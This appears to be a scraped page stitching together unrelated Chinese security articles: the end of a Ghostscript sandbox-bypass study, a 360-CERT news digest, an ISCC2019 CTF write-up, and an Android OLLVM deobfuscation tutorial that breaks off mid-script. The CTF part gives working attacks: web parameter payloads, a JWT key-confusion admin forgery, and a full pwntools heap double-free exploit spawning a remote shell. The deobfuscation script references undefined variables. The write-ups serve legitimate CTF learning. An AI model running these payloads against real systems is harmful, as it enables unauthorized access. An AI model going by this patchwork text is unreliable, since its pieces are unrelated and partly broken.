本来是想学习一下ghostscript的这一些漏洞看看还有没有漏网之鱼的，但是按照最新的SAFER的防御机制，单纯利用ghostscript逻辑来实现SAFER模式绕过可能无法完成了。如果还想绕过SAFER，可能要尝试通过type
confusion之类的手段来修改上述的结构体才有可能实现，比如[这篇文章](https://blog.semmle.com/cve-2018-19134-ghostscript-rce/)的做法，虽说他为了方便最后也是控制的forceput命令。
## 参考链接
<https://paper.seebug.org/68/>
<https://paper.seebug.org/310/>
<https://www.ghostscript.com/doc/current/Language.htm>
<https://bugs.ghostscript.com/show_bug.cgi?id=699708>
<https://blog.semmle.com/cve-2018-19134-ghostscript-rce/>
<https://www-cdf.fnal.gov/offline/PostScript/PLRM3.pdf>
<https://gist.github.com/hhc0null/82bf2e57ac93c1a48115a1b4afcde706>
<https://imagemagick.org/script/formats.php>
<https://imagemagick.org/script/security-policy.php>
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1640>
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1675>
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1682>
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1690>
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1696>
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1729> | 社区文章 |
# 4月19日安全热点 - 微软将反钓鱼技术移植到Google Chrome扩展
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
360-CERT 每日安全简讯 2018.04.19 周四
## Security Report|安全报告
1.区块链恶意基础设施的网络罪犯的发展趋势
<http://t.cn/Rm1xwk8>
## Security Research|安全研究
1.Windows利用技巧：利用任意文件写入本地特权提升
<http://t.cn/Rmrsk3Z>
2.绕过安卓 Anti-Emulation
<http://t.cn/Rm36BY3>
## Vulnerability|漏洞
1.Cisco WebEx客户端远程执行代码漏洞
<http://t.cn/Rmrsk1m>
2.Cisco ASA设备 VPN SSL客户端证书绕过漏洞
<http://t.cn/RmrskdI>
3.Apple iOS中的iTunes Wi-Fi同步功能可能会被利用
<http://t.cn/Rmrskgt>
4.LG网络存储设备存在远程命令注入漏洞
<http://t.cn/RmrskeJ>
5.谷歌浏览器磁盘高速缓存UAF漏洞（CVE-2018-6085及CVE-2018-6086）
<http://t.cn/Rmrskk2>
6.Microsoft Edge通过OpenProcess() 绕过ACG
<http://t.cn/Rm3YO09>
7.WebLogic远程代码执行漏洞(CVE-2018-2628)
<http://t.cn/Rm3enAC>
## Security Information|安全资讯
1.思科发布多个产品的安全更新
<http://t.cn/RmrsksG>
2.谷歌发布Chrome安全更新
<http://t.cn/RmrZcqR>
3.脑植入物或是不安全的
<http://t.cn/RmrsFvj>
4.微软将反钓鱼技术移植到Google Chrome扩展
<http://t.cn/RmrsFPB>
5.Stresspaint恶意软件窃取Facebook凭据和会话Cookie
<http://t.cn/RmrLgBJ>
6.RedHat：RHSA-2018-1137 glusterfs安全更新
<http://t.cn/RmrsF7q>
7.2018 DASP Top 10发布
<http://t.cn/RmrsFzZ>
8.英特尔宣布推出新的威胁检测技术
<http://t.cn/RmrsFw7>
## Security Incident|安全事件
1.俄罗斯Grizzly Steppe组织对路由器发起攻击
<http://t.cn/RmrsFAw>
2.数百万的应用程序正在泄露敏感用户数据
<http://t.cn/RmrsF2i>
3.恶意软件通过Minecraft感染五万用户，擦除其硬盘
<http://t.cn/RmrsFLR>
【以上信息整理于 <https://cert.360.cn/daily> 】
**360CERT全称“360 Computer Emergency Readiness
Team”，我们致力于维护计算机网络空间安全，是360基于”协同联动，主动发现，快速响应”的指导原则，对全球重要网络安全事件进行快速预警、应急响应的安全协调中心。**
**微信公众号：360cert** | 社区文章 |
# ISCC2019部分writeup
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
##
## Misc
### 1\. 隐藏的信息
下载压缩包，解压缩拿到一个文本文件，打开发现是一堆八进制，写个脚本来ASCII值转字符串，转完之后发现是一个base64加密，将一开始的脚本修改一下，添加base64转码功能，再次运行拿到flag
import binascii
import base64
x="0126 062 0126 0163 0142 0103 0102 0153 0142 062 065 0154 0111 0121 0157 0113 0111 0105 0132 0163 0131 0127 0143 "
"066 0111 0105 0154 0124 0121 060 0116 067 0124 0152 0102 0146 0115 0107 065 0154 0130 062 0116 0150 0142 0154 071 "
"0172 0144 0104 0102 0167 0130 063 0153 0167 0144 0130 060 0113 "
x = x.split()
z = ''
for i in range(len(x)):
y = str(hex(int(x[i], 8)))[2:]
# print(y)
a = str(binascii.a2b_hex(y))#[2:3]
z += str(a)
# print(z)
z = base64.b64decode(z)
print(z)
### 2\. 最危险的地方就是最安全的地方
题目文件解压后是一张JPG图片，盲猜带有压缩包，后缀改为zip解压缩，拿到50张二维码，发现最后一张的图片文件格式和其它49张不一样，记事本打开，开头就看到flag
### 3\. 解密成绩单
题目文件解压后拿到一个exe文件，用各种misc做题方法尝试后均无果，猜测其实是简单的逆向题，用ida打开：
看到检查输入的函数，跟入直接看到要求的用户名和密码，直接复制粘贴到程序输入框内点击ok即可拿到flag
### 4\. Welcome
改后缀解压得到.txt文件，打开发现由“蓅烺計劃 洮蓠朩暒”和“戶囗
萇條”组成的编码，将前者用0替换，后者用1替换，得到011001100110110001100001011001110111101101001001010100110100001101000011010111110101011101000101010011000100001101001111010011010100010101111101
二进制转到字符串即可得到flag
### 5\. 倒立屋
lsb加密，使用stegsolve三色道分析神器查看lsb加密内容，然后将看到的字符，顺序反过来，即为flag ，是不是很坑
### 6.无法运行的exe
解压题目后拿到exe文件，发现无法运行，winhex查看发现是个其实文本文件，文本内容像是图片base64转码，用在线base64转图片工具发现无法转图片，自己写个py脚本实现，如下：(将原文件名重命名为1.txt)
import base64
a=open('1.txt','rb').read()
d=base64.b64decode(a)
filename='2.png'
with open(filename,'w') as file_project:
file_project.write(d)
打开2.txt查看发现是png文件，改为png后缀打开，发现报错，百度png文件格式，发现头部数据被修改了，改回来：
这是我们转码后拿到的文件开头hex值，png文件开头应为：89504E470D0A1A0A
修复文件头后打开是二维码，用QR扫码工具扫描拿到flag
### 7\. High起来！
解压缩拿到一个二维码图片，扫码后拿到一串当铺密码，在线工具解码拿到一串数字。
个人觉得这不是flag，提交了一下尝试，果然不是，发现二维码图片大小异常，比普通二维码大了，猜测包含其他文件，binwalk发现压缩包，解压后是一段mp3音频，用mp3隐写工具解密，推测一开始拿到的数字是密钥，果然解密出来文本，是html编码，在线工具解码拿到flag
### 8\. 他们能在一起吗？
首先得到一个二维码
UEFTUyU3QjBLX0lfTDBWM19ZMHUlMjElN0Q=
BASE64解密为：PASS{0K_I_L0V3_Y0u!}
从二维码分离出一个加密了的压缩包，用刚才得到的密钥解密的到含有flag的.txt文件
得到flag：ISCC{S0rrY_W3_4R3_Ju5T_Fr1END}
### 9\. Keyes’ secret
仔细看一下文件开头的字母，结合提示，发现就是一个简单的键盘加密（画键盘），而且似乎每一个字母的加密方式都一样，用文本的替换功能即可获取原文。
例：
### 10\. Aesop’s secret
动态图的每一帧只显示图片的一部分，用stegsolve神器的”Frame
Browser”将其每一帧保存出来，用ps合成一下，或者用stegsolve的”Image
Combiner”功能里的”add”直接将图片内容合到一起，发现图片内容是”ISCC”
再用stegsolve的 “File Format” 查看图片信息的时候发现其所转换的ascii码的内容是密文，
推测ISCC是密钥，通过两次AES解密（[https://www.bejson.com/enc/aesdes/）](https://www.bejson.com/enc/aesdes/%EF%BC%89)
拿到flag
### 11\. 碎纸机
用binwalk检查下给出的这张jpg图片，发现有个压缩包，解压缩拿到10张拼图文件，提示说欧鹏曦文同学可以恢复其原貌，但要给它真正有用的东西，用winhex查看发现每张拼图文件结尾都多了一串等长的hex值，将其提取出来。根据谐音推测欧鹏曦文指的是opencv，是一种计算机视觉库，处理图形用的。应该是要把多出来的hex值转为图片，多出来的十串hex值长度都为2500，刚好是50*50，但是百度了好久也没有找到opencv创建图形文件后如何处理每个坐标处像素的教程，于是用了image库，脚本如下：
# coding=utf-8
from PIL import Image
import matplotlib.pyplot as plt
X=50
Y=500
pic = Image.new("RGB",(X,Y))
str = open('0.txt').read() #我将十段hex值都写进一个txt文档了，方便处理
i=0
for y in range (0,Y):
for x in range (0,X):
if(str[i] =='1'):
pic.putpixel([x,y],(0,0,0))
else:
pic.putpixel([x,y],(255,255,255))
i = i+1
pic.show()
pic.save("flag.png")
# _oo0oo_ 虽 但 我
# o8888888o 然 没 的
# 88" . "88 我 这 脚
# ( -_- ) 并 段 本
# 0 = /0 不 注 跑
# ___/`---'___ 迷 释 不
# .' \ // '. 信 时 动
# / \ : // ， ， 。
# / _ -:- - 。
# \ - /// 。
# _ ''---/'' _/
# .-__ '-' ___/-. /
# ___'. .' /--.-- `. .'___
# ."" '< `.____<>_/___.' >' "".
# : `- `.;` _ /`;.`/ - ` :
# `_. _ __ /__ _/ .-` / /
# =====`-.____`.___ _____/___.-`___.-'=====
# `=---='
#
#
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
# 佛祖保佑 永无BUG
图片内容被ps过，不过不影响查看flag
## Web
### 1\. web1
<?php
error_reporting(0);
require 'flag.php';
$value = $_GET['value'];
$password = $_GET['password'];
$username = '';
for ($i = 0; $i < count($value); ++$i) {
if ($value[$i] > 32 && $value[$i] < 127) unset($value);
else $username .= chr($value[$i]);
if ($username == 'w3lc0me_To_ISCC2019' && intval($password) < 2333 && intval($password + 1) > 2333) {
echo 'Hello '.$username.'!', '<br>', PHP_EOL;
echo $flag, '<hr>';
}
}
highlight_file(__FILE__);
发现关键的几个地方
1.存在chr函数
2.存在intval函数
由此，我们需要构造不同的value[i]，这里通过if过滤掉了username字符中出现的ascll码，但
是，chr函数在处理大于256的ascll时会对256进行取余，所以我们在原字符的ascll码上＋256即可。
intval由于存在弱类型转换的问题，在转换时的值会小1，轻松绕过判断，最终构造payload：
http: //39.100.83.188:8001/?value[0]=375&value[1]=307&value[2]=364&value[3]=355&value[4]=304&value[5]=365&value[6]=357&value[7]=351&value[8]=340&value[9]=367&value[10]=351&value[11]=329&value[12]=339&value[13]=323&value[14]=323&value[15]=306&value[16]=304&value[17]=305&value[18]=313&password=0x91d
### 2\. web2
提示3位数密码，不用说肯定是爆破。但是存在于验证码，我们先抓包
我们去爆破却失败了，这是为什么呢？
关键就在于这个cookie
不改变cookie，得到的结果永远都是一样的，所以这里我们直接删除cookie重新爆破。
看到996返回length不同，尝试用996去登录，得到Flag。
### 3\. web3
二次注入，首先注册用户admin’—xx（xx代表任何字符，这里#好像被过滤了）,登陆之后修改密码,这里直接修改了admin的密码，再以修改的密码以admin为username登陆，拿到flag
### 4\. web4
进来审计源码
<?php
error_reporting(0);
include("flag.php");
$hashed_key = 'ddbafb4eb89e218701472d3f6c087fdf7119dfdd560f9d1fcbe7482b0feea05a';
$parsed = parse_url($_SERVER['REQUEST_URI']);
if(isset($parsed["query"])){
$query = $parsed["query"];
$parsed_query = parse_str($query);
if($parsed_query!=NULL){
$action = $parsed_query['action'];
}
if($action==="auth"){
$key = $_GET["key"];
$hashed_input = hash('sha256', $key);
if($hashed_input!==$hashed_key){
die("<img src='cxk.jpg'>");
}
echo $flag;
}
}else{
show_source(__FILE__);
}?>
审计发现，我们必须提供两个参数action和key，并且使用sha256进行哈希处理后必须等于代码顶部的哈希值。
首先试一下解密hashed_key的值，但是很不幸并没有解密出来。
但是我们看到出现parse_str()函数，变量覆盖的典型代表函数，所以我恶魔你直接变量覆盖掉hashed_key
使用大神的脚本跑出hash的值为9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08
构造payload：
action=auth&key=test&hashed_key=9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08
### 5\. web5
提示 看来你并不是Union.373组织成员，请勿入内！
改u-a头
后：请输入用户名
注入，过滤了圆括号，注释符，from等等
payload ：order by 排序盲注
### 6.web6
这是一个构造jwt头攻击的题目。
进入题目后查看源代码，在common.js文件里找到关键信息：
function getpubkey()
{
/*
get the pubkey for test
/pubkey/{md5(username+password)}
*/
}
很明显是个公钥获取提示，将自己注册的用户名和密码合在一起取md5值,以此访问公钥文件。
拿到公钥
{"pubkey":"-----BEGIN PUBLIC KEY-----nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PKnomh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1hnKk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtucnIC+LX+9V/mpyKe9R3wIDAQABn-----END PUBLIC KEY-----","result":true}
但很明显，公钥是有格式的，直接拿来用坑定不行，用python的print命令输出一下，防止人工修格式修错,然后将其复制到txt里
a="-----BEGIN PUBLIC KEY-----nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PKnomh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1hnKk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtucnIC+LX+9V/mpyKe9R3wIDAQABn-----END PUBLIC KEY-----"
print a
用这个公钥构造token头访问list
import jwt
import base64
public = open('1.txt','r').read()
print (jwt.encode({"name": "xibai21","priv": "admin"}, key=public, algorithm='HS256'))
token头自然是抓包将原本的换为我们自行构造的token，注意token头中的name是自己的公钥对应的用户名，admin自然是管理员用户名。
发包后在list中看到关键信息：
访问/text/admin:。。。。。。，即可拿到flag
## Reverse
### 1\. answer to everything
ida载入main函数一键f5，审计一波发现以下关键：
不带任何标签提交，结合题目提示sha1， kdudpeh 的sha1值即为所要flag
### 2\. dig dig dig
用IDA载入分析
发现对字符串进行了三次加密
分别为BASE64,ROT13,UUencode
对字符串逆着进行三次解密，得到flag
### 3.简单Python
题目内容很简单
提示说要逆向一个pyc
虽然没有了解过这个东西，不过在网上找到了在线的反编译工具
直接拉进去 运行
得到如下内容：
import base64
def encode(message):
s = ''
for i in message:
x = ord(i) ^ 32
x = x + 16
s += chr(x)
return base64.b64encode(s)
correct = 'eYNzc2tjWV1gXFWPYGlTbQ=='
flag = ''
print 'Input flag:'
flag = raw_input()
if encode(flag) == correct:
print 'correct'
else:
print 'wrong'
这就很棒了
源码都有了 什么是逆不出来的
这里需要注意一下的是correct的内容最好不要用网上的Base64解码工具解码
最好用Python的base64模块解码
简单写一下Python得到decode后的字符串
yx83sskcY]`\Ux8f`iSm
然后写一个脚本，跑一下就出来了
脚本如下：
#include <iostream>
using namespace std;
int main ()
{
char buffer[512]="yx83sskcY]`\Ux8f`iSm";
for(int i=0;i<strlen(buffer);i++)
{
buffer[i]-=16;
buffer[i]^=32;
}
for(int i=0;i<strlen(buffer);i++)
cout<<buffer[i];
return 0;
}
结束。
### 4\. Rev04
拉入od提示文件损坏，去百度elf文件的格式，发现其格式不固定，格式基本固定的地方又没有发现有什么明显的错误，但是记事本打开查看内容时发现一串极为可疑的字符：
数了下长度，符合base64加密的密文长度，base64转码，果然有问题：
uggc://VFPP2019{hey_frrzf_ebggra_jvgu}pgs.pbz
显然是flag密文，多次解密尝试后发现是rot13加密，在线解rot13即可
### 5\. Rev01
这是一个rust逆向。载入ida分析
需要留意，rust语言写出来的程序其主函数为“beginer_reverse::main::……..”，所以对main反编译是找不到正确的东西的。
进入之后即看到一串明显像是密文的东西。向下翻找到唯一一个具备加密转码性质的代码
其中 v33 恰是开头的v0，很明显就是将上面的内容转码后和输入进行比对，仔细审计中间的代码会发现v15对应的是输入。写出解密脚本：
# coding=utf-8
cipher =
[0x00000154,0x00000180,0x000001FC,0x000001E4,0x000001F8,0x00000154,0x00000190,0x000001BC,0x00001BC,0x000001B8,0x00000154,0x000001F8,0x0000194,0x00000154,0x000001B4,0x000001BC,0x00001F8,0x00000154,0x000001F4,0x00000188,0x00001AC,0x000001F8,0x00000154,0x0000018C,0x00001E4,0x00000154,0x00000190,0x000001BC,0x154,0x90]
#以上数据经过转码后拿到数据要进行一次ascii码转换，但是第一次转出来的是str类型下的数字，不能直接输出ascii码对应的字符，所以需要用chr()处理一下
cipher2=''
for i in range(len(cipher)):
cipher2+=chr((cipher[i]>>2)^0xA)
print cipher2
#也可以用一个直接点的代码处理
cipher1 = ''.join(map(lambda x: chr((x>>2) ^ 0xa), cipher))
print cipher1
## Mobile
### Mobile01
使用jeb查看反汇编代码，发现有两个关键函数 checkFrist 和 checkSecond
checkFrist查看其内部内容发现是检查输入字符串，要求字符串长度为16位，范围在1到8之间
checkSecond在Native层里面，调用的是c/c++代码，jeb中无法查看，用ida打开apk包里面的lib下的so文件（ida需要加载jni模块，不然反汇编的代码相对会比较复杂，不利于逆向分析）。
发现checksecond函数中要求前八位必须是递增关系，即前八位为“12345678”
后八位则给了相关约束条件，写一个脚本跑一下即可：
#调用z3求解器
from z3 import *
import time #记录计算时间用，舍弃也可以
t1=time.time() #记录计算时间用，舍弃也可以
#设一个解决样例
solver=Solver()
#设置样例flag长度
flag=[Int('flag%d'%i) for i in range(16)]
#给flag的每一位添加范围约束（0，9）
for i in range(16):
solver.add(flag[i]>0)
solver.add(flag[i]<9)
#设置样例flag前八位数值
for i in range(8):
solver.add(flag[i]==i+1)
#添加逆向分析时得到的条件约束
solver.add(flag[9]+flag[14]==14)
solver.add(flag[8]<=3)
for j in range(1,8):
for k in range(0,8):
if(k>=j):
break
solver.add(flag[k]!=flag[j])
solver.add(flag[k+8]!=flag[j+8])
solver.add((flag[j]-flag[k])!=(flag[j+8]-flag[k+8]))
solver.add((flag[j]-flag[k])!=(flag[k+8]-flag[j+8]))
#这个检查应该是判断是否有解，有则输出flag，无则报错
if(solver.check()==sat):
m=solver.model()
s=[]
for i in range(16):
s.append(m[flag[i]].as_long())
print(bytes(s))
else:
print('error')
t2=time.time()
print(t2-t1)
## Pwn
### pwn02
from pwn import *
#context.log_level = 'debug'
IP = '39.100.87.24'
PORT = 8102
LOCAL = 0
if LOCAL:
sh = process('./pwn02')
else:
sh = remote(IP, PORT)
def debug(cmd=''):
gdb.attach(sh, cmd)
pause()
def malloc(idx, size, ctx):
sh.recvuntil('> ')
sh.sendline('1 '+str(idx))
sh.sendline(str(size))
sh.sendline(ctx)
def free(idx):
sh.recvuntil('> ')
sh.sendline('2 '+str(idx))
def puts(idx):
sh.recvuntil('> ')
sh.sendline('3 '+str(idx))
malloc(0, 0x58, "aa")
malloc(1, 0x58, "bb")
malloc(2, 0x58, "cc")
malloc(3, 0x80, "dd")
malloc(4, 0x10, "ee")
# unsorted bin leak
free(3)
puts(3)
leak = sh.recvuntil('x7f').ljust(8, "x00")
leak = u64(leak)
libc_base = 0
if LOCAL:
libc_base = leak-3951480
else:
libc_base = leak-3951480
# ubuntu 1604 server
log.success("libc base: %s" %hex(libc_base))
# double free
free(0)
free(1)
free(0)
payload = "f"*80
payload += p64(0)+p64(0x61)
payload += p64(0x600dba)
malloc(5, 0x58, payload)
malloc(6, 0x58, "gg")
system = libc_base + 0x45390
payload = "h"* 6 + p64(system)*2
malloc(7, 0x58, payload)
malloc(8, 0x20, "/bin/shx00")
free(8)
#debug()
sh.interactive() | 社区文章 |
# Android OLLVM反混淆实战
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
小弟我最近在研究ollvm平坦化的反混淆，但网上的参考资料大多是x86的反混淆，关于arm的少之又少，现正好手头有个app样本中运用了这种混淆技术，所以拿来练一练手。
app样本：douyin9.9.0
so样本：libcms.so
逆向工具：ida,jadx
## 观察函数控制流程图(CFG)
所要获取的签名算法位于leviathan方法中，该方法是个native方法，在libcms.so中没有静态关联函数，所以我们需要找到其动态注册的位置。
首先，分析Jni_OnLoad函数，Jni函数的动态注册一般都在这里进行：
关于ollvm的基本原理，大家可以在 <https://github.com/obfuscator-llvm/obfuscator>
上进行详细了解，在这里不做过多说明。
可以看到
JNI_OnLoad已经被彻底地混淆，通过流程图结构，我们可以初步推断是ollvm的指令平坦，进一步观察发现大部分流程块都会跳转至0x46FE，从而可以得出0x46FE是主分发器所在块，r0寄存器作为保存索引值的寄存器(在这里我将混淆里用于索引到相关块的常量值称为索引值)。
## 去除一般混淆
仔细观察函数内容，发现其中还包含另外一种混淆结构，如下图所示：
从0x478c的位置PUSH {R0-R3}开始是另一个混淆结构的开始，功能比较简单，分析之后其作用是直接跳转到另一个地址，跳转的位置是到POP
{R0-R3}指令的下一个地址，即0x47E4的位置。
去除这中混淆的方式也比较简单，直接把0x478c处修改成到0x47E4的跳转即可，中间的混淆代码可以用nop填充掉，鉴于整个函数有多处这样的混淆，可以写个ida脚本批量处理，通过搜索特征字节码来定位混淆代码的起始与结束位置，例如混淆开始处的opcode为0F
B4 78 46 79 46(为了避免错误识别可以多判断几个字节码)，结束处的opcode为0F BC。
脚本内容如下：
from idc import *
from idautils import *
from idaapi import *
from keystone import *
ks=Ks(KS_ARCH_ARM,KS_MODE_THUMB)
def ks_disasm(dis_str):
global ks
encoding,count=ks.asm(dis_str)
return encoding
func_start=0x44c8
func_end=0x498c
patch_start = None
patch_end = None
for i in range(func_start, func_end):
#PUSH{R0-R3} or PUSH{R0-R3,R7}
#MOV R0,PC
#MOV R1,PC
if get_bytes(i,6,0) == b'x0fxb4x78x46x79x46' or get_bytes(i,6,0) == b'x8fxb4x78x46x79x46':
patch_start = i
#POP{R0-R3}
if get_bytes(i,2,0) == b'x0fxbc':
if patch_start != None:
patch_end = i + 2
#POP{R7},POP{R0-R3}
if get_bytes(i,4,0) == b'x07xbcx88xbc':
if patch_start != None:
patch_end = i + 4
if nop_start != None and nop_end != None:
for i in range(0, patch_end - patch_start, 2):
patch_byte(nop_start+i,0x00)
patch_byte(nop_start+i+1,0xbf)
dis_str = 'b #{}-{}'.format(patch_end, patch_start)
jmp_addr.append(patch_start)
encoding = ks_disasm(dis_str)
for item in encoding:
print('{}'.format(hex(item)))
for j in range(len(encoding)):
patch_byte(patch_start+j,encoding[j])
patch_start = None
patch_end = None
#### 寻找相关块
准备工作已完成，正式进入我们的主题，还原ollvm的混淆代码——关于如何还原流程平坦化，有三个问题需要解决：
一、找出流程里所有的相关块
二、找出各个相关块之间执行的先后顺序
三、使用跳转指令将各个相关块连接起来
第一个问题，通过以下规律找到差不多所有的相关块：
1、后继是分发器块的，一般是相关块(注意是一般，因为有的次分发器也会跳转至主分发器
2、相关块的前继块中，有且只有当前相关块一个后继块的，也是相关块
Github上有许多二进制分析框架(angr，barg，miasm等等)，可以对函数生成CFG(控制流程图)，由于barg和miasm对arm-v7a指令的支持不是很完全，有些代码无法反汇编，最终我选用了angr。(github地址：[https://github.com/angr/angr）](https://github.com/angr/angr%EF%BC%89)
这里我参考了github上的一个x86 ollvm反混淆脚本(<https://github.com/SnowGirls/deflat>):
filename = 'your sopath/libcms.so'
#start of JNI_Onload
start_addr=0x44c8
end_addr=0x498c
project = angr.Project(filename, load_options={'auto_load_libs': False})
cfg = project.analyses.CFGFast(regions=[(startaddr,endaddr)],normalize='True')
#函数为Thumb-2指令，所以寻找functions时的函数地址应该加上1
target_function = cfg.functions.get(start_addr+1)
#将angr的cfg转化为转化为类似ida的cfg
supergraph = am_graph.to_supergraph(target_function.transition_graph)
#手动寻找主分发器，返回块，序言块
main_dispatcher_node=get_node(supergraph,0x46ff)
retn_node=get_node(supergraph,0x4967)
prologue_node=get_node(supergraph,0x44c9)
#手动填入保存索引值的寄存器
regStr='r1'
project.analyses.CFGFast方法可以快速生成一个二进制代码的控制流程图，但这种流程图和ida的流程有一些不同(比如会将BL函数调用前后的代码分割成两个基本块)，而am_graph.to_supergraph方法，则可将其进一步转化为类似ida流程图的结构。
生成cfg后我们通过之前提到的规律来寻找所有的相关块，先找出所有跳转至主分发器的基本块，再筛选其中的相关块。
还有一些如上图红框所示1其实是一个次分发器，但最后跳转到了主分发器，对于这种情况，我们需要通过匹配特征反汇编指令来过滤掉这些分发器。而红框所示2包含了栈指针操作，但可以发现其并未使栈平衡，观察整个函数也并未发现其他平衡栈的操作，所以可以初步判定此类型的块也可能是混淆块，也应该过滤掉。
在这里我把直接跳转到主分发器的相关块称作一级相关块，对于没有跳转到主分发器而是跳转到另一个相关块的相关块称为次级相关块，则可以通过递归的方块由一级相关快逐层向上寻找，直到找出所有相关块。
由于编译器的优化导致某些相关块在改变了后并未跳转至主分发器，而是跳到了另一个共用代码段。如下图所示，0x14f44处是主分发器，因为编译优化的原因上面三处相关块都会引用同一个代码块，这样在后面的符号执行时，需要将0x14ac8处的相关块看做是上面三个相关块的一部分，符号执行时应该跳过这个共用的相关块。最后在patch指令时，将共用的相关块添加至每个引用它的相关块的末尾，然后再进行跳转。
寻找所有相关块的代码：
def get_relevant_nodes(supergraph):
global pre_dispatcher_node, prologue_node, retn_node,special_relevant_nodes,regstr
relevants = {}
#寻找那些没有直接跳转到主分发器的相关块
def find_other_releventnodes(node,isSecondLevel):
prenodes = list(supergraph.predecessors(node))
for prenode in prenodes:
if len(list(supergraph.successors(prenode)))==1:
relevants[prenode.addr] = prenode
if isSecondLevel and not(is_has_disasmes_in_node(node, [['mov', regstr]]) or is_has_disasmes_in_node(node, [['ldr', regstr]])):
#由于编译器的优化导致某些相关块在改变了索引值后并未跳转至主分发器，而是跳到了另一个共用代码段。
special_relevant_nodes[prenode.addr]=node.addr
find_other_releventnodes(prenode,False)
nodes = list(supergraph.predecessors(main_dispatcher_node))
for node in nodes:
#获取基本块的反汇编代码
insns = project.factory.block(node.addr).capstone.insns
if node in relevant_nodes:
continue
#过滤跳转到主分发器的子分发器
elif len(insns)==4 and insns[0].insn.mnemonic.startswith('mov') and
insns[1].insn.mnemonic.startswith('mov') and
insns[2].insn.mnemonic.startswith('cmp') and
is_jmp_code(insns[3].insn.mnemonic):
continue
elif len(insns)==1 and is_jmp_code(insns[0].insn.mnemonic):
continue
elif len(insns)==2 and insns[0].insn.mnemonic.startswith('cmp') and
is_jmp_code(insns[1].insn.mnemonic):
continue
elif len(insns)==5 and (is_has_disasmes_in_node(node,[['mov',''],['mov',''], ['cmp',''],['ldr',regstr]]) or
is_has_disasmes_in_node(node,[['mov',''],['mov',''],['cmp',''], ['mov',regstr]]) )and
is_jmp_code(insns[4].insn.mnemonic):
continue
#过滤有add sp操作但没有sub sp操作的块
elif is_has_disasmes_in_node(node,[['add','sp']]) and
is_has_disasmes_in_node(node,[['nop','']]):
continue
#将认定为相关块的基本块保存
relevants[node.addr]=node
#寻找其他没有跳转到主分发器的相关块
find_other_releventnodes(node,True)
return relevants
def is_startwith(str1,str2):
if str2=='':
return True
return str1.startswith(str2)
#是否是跳转指令
def is_jmp_code(str):
if not str.startswith('b'):
return False
if str.startswith('bl'):
if str.startswith('ble') and not str.startswith('bleq'):
return True
else: return False
return True
#是否是函数调用指令
def is_call_code(str):
if not str.startswith('bl'):
return False
if str.startswith('ble') and not str.startswith('bleq'):
return False
return True
def is_has_disasmes_in_insns(insns,disinfolist):
size = len(disinfolist)
for i in range(len(insns) - (size-1)):
is_has = True
for j in range(size):
insn=insns[i+j].insn
disinfo=disinfolist[j]
if not (is_startwith(insn.mnemonic,disinfo[0]) and is_startwith(insn.op_str,disinfo[1])):
is_has=False
break
if is_has: return True
return False
def is_has_disasmes_in_node(node,disinfolist):
insns=project.factory.block(node.addr,node.size).capstone.insns
return is_has_disasmes_in_insns(insns,disinfolist)
## 符号执行
找到所有相关块后，下一步要做的就是找出各个相关块的执行先后关系。使用angr的符号执行框架是一个不错的选择，它能够模拟CPU指令执行。当我们对一个相关块进行符号执行时，它能够正确找到下一个相关块。
符号执行先从函数序言处开始，我们将所有符号执行到达的相关块保存至一个队列里，将已经进行过符号执行的相关块从栈中弹出，然后在队列中取出新的相关块进行符号执行；同时我们在符号执行到一个新的相关块时需要保存当前CPU执行环境(内存状态，寄存器状态)，以确保下次符号执行新的相关块时，所有的CPU执行环境都正确。
对于有分支结构的相关块，我们采用特征反汇编来识别：
可以看到，在有分支的相关块中，是通过IT(if then)指令来实现不同条件分支的。IT指令中T的个数代表了分支指令数量（比如 ITTT
EQ成立则会执行执行该指令后三条指令，否则会跳过这三条指令），在这里，寄存器R1作为状态值，在相关块中进行更新，然后返回主分发器，通过更新后的R1的值再找到下一个相关块。
为了实现两个分支流程，我们需要自行改变执行流程，而angr的hook功能正好为我们实现了这一点，我们对IT指令的位置进行hook，通过设置跳过的地址长度来实现分支流程。
符号执行代码如下：
#队列用于保存相关块的符号执行环境
flow = defaultdict(list)
queue = queue.Queue()
addrinqueue=[]
#从函数开始处符号执行
queue.put((startaddr+1,None,0))
while not queue.empty():
env=queue.get()
pc=env.addr
#到达函数返回块或是相关块已经执行过，则跳过该次执行
if pc in addrinqueue or pc==retaddr:
continue
state=env
block=project.factory.block(pc,relevants[pc].size)
has_branches=False
bl_addr=[]
it_addr=[]
insns=block.capstone.insns
for i in range(len(insns)):
insn=insns[i].insn
#判断相关块中是否有bl指令，有就将bl指令地址保存，后面符号执行时直接hook跳过
if insn.mnemonic.startswith('bl'):
bl_addr.append((insn.address,insn.size))
if i==len(insns)-1:
continue
#判断相关块中是否存在分支结构，有就将IT指令地址保存，符号执行时通过hook到达不同分支
if insn.mnemonic.startswith('it') and insns[i+1].insn.op_str.startswith(regstr):
if pc in patch_info:
continue
has_branches = True
patch_addr_info=[]
patch_addr_info.append(insn.address)
j=insn.mnemonic.count('t')
it_addr.append((insn.address,insns[i+j+1].insn.address-insn.address))
it_addr.append((insn.address,insns[i+1].insn.address-insn.address))
movinsns=None
if insns[-1].insn.mnemonic.startswith('b'):
movinsns=insns[i+j+1:-1]
else:
movinsns=insns[i+j+1:]
